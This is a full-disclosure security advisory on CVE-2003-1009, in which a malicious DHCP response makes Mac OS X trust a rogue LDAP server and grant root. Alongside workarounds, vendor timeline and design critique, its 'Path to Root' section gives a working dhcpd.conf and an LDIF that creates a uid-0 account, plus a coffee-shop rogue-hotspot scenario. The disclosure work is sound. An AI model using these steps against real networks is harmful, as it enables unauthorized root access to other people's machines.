Mac OS X Security Advisory

Malicious DHCP response can grant root access (CVE-2003-1009)

This advisory was last updated 5 October 2006

Affected Software

  • Mac OS X 10.3.0 to 10.3.2 (except with 2003-12-19 security update)
  • Mac OS X Server 10.3 (all versions through at least 18-Dec-2003)
  • Mac OS X 10.2.0 to 10.2.8 (except with 2003-12-19 security update)
  • Mac OS X Server 10.2 (all versions through at least 18-Dec-2003)
  • Probably earlier versions of Mac OS X and Mac OS X Server

Abstract

A series of seemingly innocuous default settings can cause an affected Mac OS X machine to trust a malicious machine on a network for user, group, and volume mounting settings.

What does this mean to the average user

If you are running one of the versions of Mac OS X indicated above, anyone who can gain access to your network can gain administrator (root) access to your computer and steal your data or launch attacks upon others with your machine. Users and system administrators of the affected software should upgrade their machines with Software Update (in the Apple menu) or read the section Workarounds for immediate actions to protect their machines.

Please note that WEP security on 802.11b/g (AirPort/AirPort Extreme) wireless networks is not sufficient to protect your network from access by an attacker.

Contents

Answers to Frequently Asked Questions

Is there a patch available from Apple to resolve this issue?

Yes! Apple’s security update of 19 December 2003 resolves this issue for Mac OS X 10.2 and 10.3 operating systems by changing the default setting to not having DHCP enabled for locating LDAP sources.

Do I have to necessarily boot into the malicious environment to fall prey to this vulnerability?

You don’t in fact have to boot into the malicious environment for its LDAP and NetInfo server to be used by your machine. In the default configuration, Mac OS X will add these servers to your authentication path in Directory Access as soon as a DHCP lease is obtained or renewed by a malicious DHCP responder.

Is my machine safe if I have the root account “turned off”?

No. The account attacking can be uid 0 and have any other name in the universe that is a valid account name. This vulnerability allows an attacker to define new accounts on your system including a working root login.

Is my machine safe if I have all remote access services “turned off”?

No. This exploit allows malicious people to connect network disks to arbitrary locations on your system. They can mount malware anywhere. Including places that can virtually guarantee execution of their target code. For example, an attacker could cause their evil data to be mounted as a crontab and have their fake root’s crontab point to an evil executable mounted somewhere else. Bearing in mind that files can be NFS mounted as well as directories, this is not so far fetched.

Why did you release this when you did?

This was an exploitable remote root vulnerability. After Apple reneged on the Nov. 3rd release date I gave them 2-3 weeks. After the 2-3 weeks were up, I asked for their status on preparing a fix and they said “December”. Meanwhile, users were left exposed and independent rediscovery seemed fairly likely. (And maybe by someone less scrupulous than myself.) I felt I was being strung along and that the issue may never get properly addressed so I set a hard deadline at that point. They didn’t meet it, and I issued this advisory.

It would not be fair of me to let Mac users hang out in the breeze for more than 2 months on an issue of this magnitude. You may disagree, but I have no regrets about my actions and feel that I was more than fair to Apple Computer and its users. You can read more about full disclosure at Wikipedia.

Does Airport really come up soon enough for it to bind to the directory services?

Yes. At least on the machines I have available to me for testing. A poster on MacSlash suggested that this isn’t true on his machine. It may well be that this varies depending on hardware configuration. I don’t have a complete line up of Apple’s OS X capable hardware to test against, but I just confirmed that an iBook 600 MHz is vulnerable. Your mileage may vary.

I don’t believe this vulnerability actually exists. Can you prove it by attacking some machines and providing screen captures/logs/photographs/DNA samples/fingerprints?

Anyone who uses this vulnerability to exploit a machine is subject to prosecution under a variety of laws in their jurisdiction. As a resident of the USA, I’d be subject to potential prosecution under the “PATRIOT Act” for circumventing the security on my own computer. I’m altogether not interested in experiencing that. I’ve laid out the technical and philosophical problems with the current Apple configuration below. Numerous technical experts have acknowledged the folly of trusting a DHCP server for LDAP information absent any other security. For example, see this comment by one of the co-authors of The DHCP Handbook.

I am, unfortunately, not paid for any of the work I’ve done to present the advisory. I’m just an Apple customer who found a problem with their product on my own time and have attempted to present information to help people protect their machines. I simply can’t take the time to answer every specious argument about how this isn’t really a problem that needs fixing. The onus is on the end users to protect themselves and Apple Computer to fix the problem. If people read this and choose to remain vulnerable because they don’t think this issue actually exists, that’s their choice.

Vendor Response

Apple Computer was notified of this issue on 9 October 2003 and released a fix on 19 December 2003. This fix is available from Apple’s Software Update feature in Mac OS X as well as being available as a download from their site. There is a download for Jaguar and a download for Panther

Apple Computer has made an article repeating the steps of the workaround below available online. Article 32478: Mac OS X: Directory Access Configuration In the Presence of a Malicious DHCP Response.

Workarounds

There are a variety of avenues to avoiding this vulnerability at least one of which is described in the Apple Technical Article linked above…

  1. Disable any network authorization services from obtaining settings from DHCP:
    • in Directory Access, select LDAPv3 in the Services tab, click “Configure…”, uncheck “Use DHCP-supplied LDAP Server”
    • in Directory Access, select NetInfo in the Services tab, click “Configure…”, uncheck “Attempt to connect using broadcast protocol” and “Attempt to connect using DHCP protocol”
    • in Directory Access, uncheck LDAPv3 and NetInfo in the Services tab, if you don’t intend to use them
  2. Turning off DHCP on all interfaces on your affected Mac OS X machine can also keep you from being affected.
For added security, be sure to disable any unused network ports:
  • turn the AirPort card off or remove it, if it is not being used.

Configuration Awareness

If a user should need any of these settings turned on due to the network and authorization system they are currently using, they should be aware that they could fall prey to a malicious individual using the techniques outlined in this advisory. Steps to mitigate this concern could be as simple as manually configuring the directory server settings on the affected machine.

Technical Details

By default, the affected versions of Mac OS X attempt to negotiate DHCP on all available interfaces. In the event that an Airport card is installed but there is no network nearby, they also default to associate with any network that might appear and then use DHCP to obtain an address. The system will also use DHCP provided fields, if available, to connect to an LDAP or NetInfo server on the network.

The default settings in “Directory Access” on affected systems will cause the system to place the network LDAP or NetInfo server ahead of the local user info for any given account, and will implicitly trust the LDAP or NetInfo server to provide correct information. Furthermore, nothing in the system prevents a login as a user with uid 0 (zero) with any login name. For example, an LDAP or NetInfo source with an account username “bluemeanie”, uid 0, would be perfectly valid and usable for login at the login window and on any network provided service, including ssh (which is turned on by default in certain versions of the affected software).

All that needs to happen to affect the malicious changes is a DHCP request or renewal from the victim host. (Note that previously this advisory had stated a reboot was required. This has proven in futher testing not to be the case.) The request and/or renewal happens as soon as a interface configured to use DHCP is connected to a network, or in the case of AirPort switches between networks. It also happens as machines are awoken from sleep mode or booted.

By taking advantage of these default settings, a malicious individual could potentially take full control of a Mac OS X workstation or server without even having to make a physical connection to the machine. With a good antenna the malicious individual wouldn’t even have to be in the same building.

While the further examples in this advisory deal exclusively with LDAP, this vulnerability is equally exploitable by specifying a malicious NetInfo server in the DHCP information as well.

Philosophical Details

The main philosophical failing in this issue was to explicitly trust information from a network by default. Trusting information from the any network can be a very dangerous matter and especially the hostile realms of IP and the Internet. Ideally, data from the network should only be trusted when the user explicitly says they would like to, or when accepting that data cannot have possibly any destructive repercussions.

It helps enormously if the user is cognizant of the dangers in trusting the information. One should avoid issuing security warnings if only to make sure users don’t simply get in the habit of clicking “OK”. This problem has manifested itself many fold in Microsoft Windows where users are conditioned to clicking through security warnings for ActiveX controls and similar issues even when they possess a signature verifiable by an accepted X.509 certificate authority. To a lesser extent, the click-through licensing has become a force of habit for many users as well where they don’t bother reading a license in which they may be guaranteeing a free taxi ride every Saturday to the developer.

Usually, no harm can come from accepting data from a DHCP server. One presumes that even if the server isn’t legitimate it won’t cause any unavoidable harm. In the average case, the user will wind up with an IPv4 address that won’t work or some similarly benign difficulty. In the worst case, a malicious DNS server assignment could cause harm through social engineering approaches; an attacker could fool the machine and user into transmitting login and password information to the wrong host. However, SSL, which the well-secured user should be using, should mitigate this harm by authenticating the identity of hosts.

In this case, the DirectoryService process accepts the authentication server information at face value even though the source is unknown and unverified. This information should be untrusted unless the user has explicitly told the machine otherwise. Mechanisms for verifying the trust with the user abound. Most obvious would be to prompt users before accepting authentication or automounting information from a network. The IP, MAC address and network interface of the DHCP server could be saved to make the prompt a once-only experience for desktop support teams deploying new systems. Similarly, the user could decide never to trust authentication information from foreign hosts. This simple step would force malicious folk to work significantly harder to obtain the trust of the user and the user’s system.

An Attack Narrative on a Wireless Network

A malicious individual sets up a laptop with an 802.11b card running in AP mode. The individual then sets up a DHCP server on the laptop to give addresses and ldap-server (DHCP option 95) responses that point to the laptop and a private network. The individual then sets up an LDAP server on the laptop pre-populated with a user account with uid 0 and the ou=macosxodconfig item with the appropriate XML for the field locations.

The individual then simply sits back and waits for the DHCP clients to take leases on the wireless network. When they do a simple port scan of the assigned address will reveal any ports that can be taken advantage of. At this point, the individual can install and run any malicious executable desired as uid 0.

The malicious individual at this point can turn the 802.11b card in their laptop off and the only trace of their malfeasance on the victim machine is possibly a few lines in the system logs.

Adapting the Attack to a Wired Network

To adapt an attack on this vulnerability to a wired network the malicious individual simply needs to beat any legitimate DHCP server that might be on the network in sending a response out to a request for an address. If the machine was previously associated with a DHCP server this becomes more difficult but is by no means impossible. The wired attack or an attack on an existing 802.11b/g network is more complicated but still feasible.

The Path to Root

Taking advantage of this vulnerability is unfortunately quite trivial. Here is a walk through of the steps needed for the wireless attack outlined above:

  • Take a fresh install of a UNIX-like system that supports a WiFi card.
  • Configure the WiFi card to address 192.168.42.1 with a /24 network mask, if possible put the WiFi card into AP mode with any network name.
  • Install ISC dhcpd, available as a pre-built package for nearly all UNIX-like systems.
  • Enter the following into the dhcpd.conf (but don’t start it yet):
option ldap-server code 95 = text;
authoritative;
subnet 192.168.42.0 netmask 255.255.255.0 {
   range 192.168.42.2 192.168.42.254;
   option ldap-server "ldap://192.168.42.1/ou=evil";
}
  • Install OpenLDAP, available as a pre-built package for most UNIX-like systems.
  • Create a file /tmp/odconfig.xml with the OD mapping information OS X needs. Alternatively, the ou=macosxodconfig,ou=evil object can be created from an OS X machine using the Directory Access application.
  • Create a file evil.ldif with the following contents and feed it to ldapadd(1):
dn: ou=evil
objectClass: organizationalUnit
ou: people

dn: uid=bluemeanie,ou=evil
objectClass: posixAccount
uid: bluemeanie
userPassword: {crypt}some_crypted_password
cn: Malicious User
gecos: Malicious User
homeDirectory: /
loginShell: /bin/sh
uidNumber: 0
gidNumber: 0

dn: ou=macosxodconfig,ou=evil
objectClass: organizationalUnit
ou: macosxodconfig
description:< file://tmp/odconfig.xml
  • Confirm the creation of the above records using ldapsearch(1)
  • Start up the dhcpd process to the WiFi interface

The clever attacker at this point could take advantage of WiFi “roaming” to provide a higher signal strength alternative to the normal network to attract victim hosts and to proxy traffic through to the normal network to avoid any appearance of disruption. Odds are that with the MAC address of one victim and their password, one could easily fake out a Starbucks style wireless hotspot.

  • Watch /var/db/dhcpd.leases for potentially vulnerable hosts who load the configuration
  • Portscan the vulnerable hosts with a tool such as Network Utility.app or nmap to find services
  • Log in to any presented services using the bluemeanie (uidNumber 0) credentials

Bear in mind that the vulnerable hosts may need to make a DHCP renewal before they load in the victim information. So imagine for a second an attacker, parking his car in front of Starbucks or some other wireless internet establishment, with a strong antenna pointed at the coffee shop and couple of WiFi cards in a laptop in the trunk. This would be very bad news for unprotected Mac OS X users that happened to visit.

History of this Advisory & Vendor Contact Log

2003-10-09 Initial version of this advisory

2003-10-09 Apple Computer notified

2003-10-09 Apple Computer confirmed receipt and forwarded to engineering team

2003-10-11 Minor edits, also added “Philosophical Issues” and “Path to Root”

2003-10-14 Apple Computer assigns specific point of contact

2003-10-14 Requested confirmation of issue with Apple Computer

2003-10-15 Apple Computer confirms issue

2003-10-24 Original deadline given to Apple for acknowledging issue

2003-10-24 Mac OS X 10.3 is released with this known issue

2003-10-28 Mac OS X 10.3 Security Update released, does not address issue

2003-10-28 Requested update of fix status from Apple Computer

2003-10-28 Apple Computer proposes Nov. 3 fix date

2003-10-29 Apple Computer reneges on Nov. 3 date

2003-10-29 Requested fix in “2 or 3 weeks” from Apple Computer

2003-11-04 Mac OS X 10.3 Security Update released, does not address issue

2003-11-15 Mac OS X 10.3.1 is released with this known issue

2003-11-17 Requested update of fix status from Apple Computer

2003-11-18 Requested update of fix status from Apple Computer

2003-11-19 Mac OS X 10.3.1 Security Update released, does not address issue

2003-11-19 Apple Computer replies “scheduled to go out in December’s update” This is the last contact from Apple Computer

2003-11-19 Deadline of Nov. 26 given to Apple Computer

2003-11-25 Minor edits, made “Path to Root” a little more work for the script kiddies

2003-11-26 Advisory issued (48 days after initial vendor notification)

2003-11-26 Added FAQ section at 2:10pm to address questions that have come up

2003-11-26 Fixed an error in the FAQ at 9 pm regarding the mount behavior

2003-11-27 Added a link to Apple’s workaround article in “Vendor Response”. (Found the link to this article at Macintouch)

2003-11-27 Added a note in “Vendor Response” to indicate that the technical article on this matter contains an error and emailed Apple to ensure they are aware of the error.

2003-11-27 Added a question to the FAQ relating to the ability of NetInfo to bind to the LDAP server on an Airport interface at boot time.

2003-12-05 Mac OS X 10.3.1 Security Update released, does not address issue

2003-12-17 Mac OS X 10.3.2 released, does not address issue

2003-12-18 Added mention of the last two updates that did not fix this problem after testing on a 10.3.2 system, removed errata note about Apple’s article since the errors were fixed, at this point I’m fairly certain that Apple does not intend to communicate further with me on this issue and I’ve heard from various sources that they are now treating this vulnerability as a “by design” issue.

2003-12-19 Major edit. Reboot not required for exploit, just DHCP renewal or lease. Provided slightly better attacker example to illustrate potentially invisible attack on coffee shop users. New FAQ questions for reboot not required and for the more zealotous Mac fans who think I’m somehow obligated to prove this is exploitable to them.

2003-12-20 Mac OS X 10.3.2 Security Update released which changes the default for receiving LDAP information via DHCP to off. Update for this issue also released for Mac OS X 10.2.8 simultaneously.

2003-12-29 Minor edit, said netinfod, meant DirectoryService in Philosophical Detail section.

2006-10-05 Some minor edits and reformatted to the current style of the site.

Author, Credit, Redistribution and Copyright Information

This advisory was written by William Carrel.

Redistribution of this text, in whole or in part, with proper credit given is permitted on or after 17:00 UTC, November 26th, 2003. Any other redistribution of this advisory without the explicit consent of the author is not permitted.

Copyright 2003-2006, William Carrel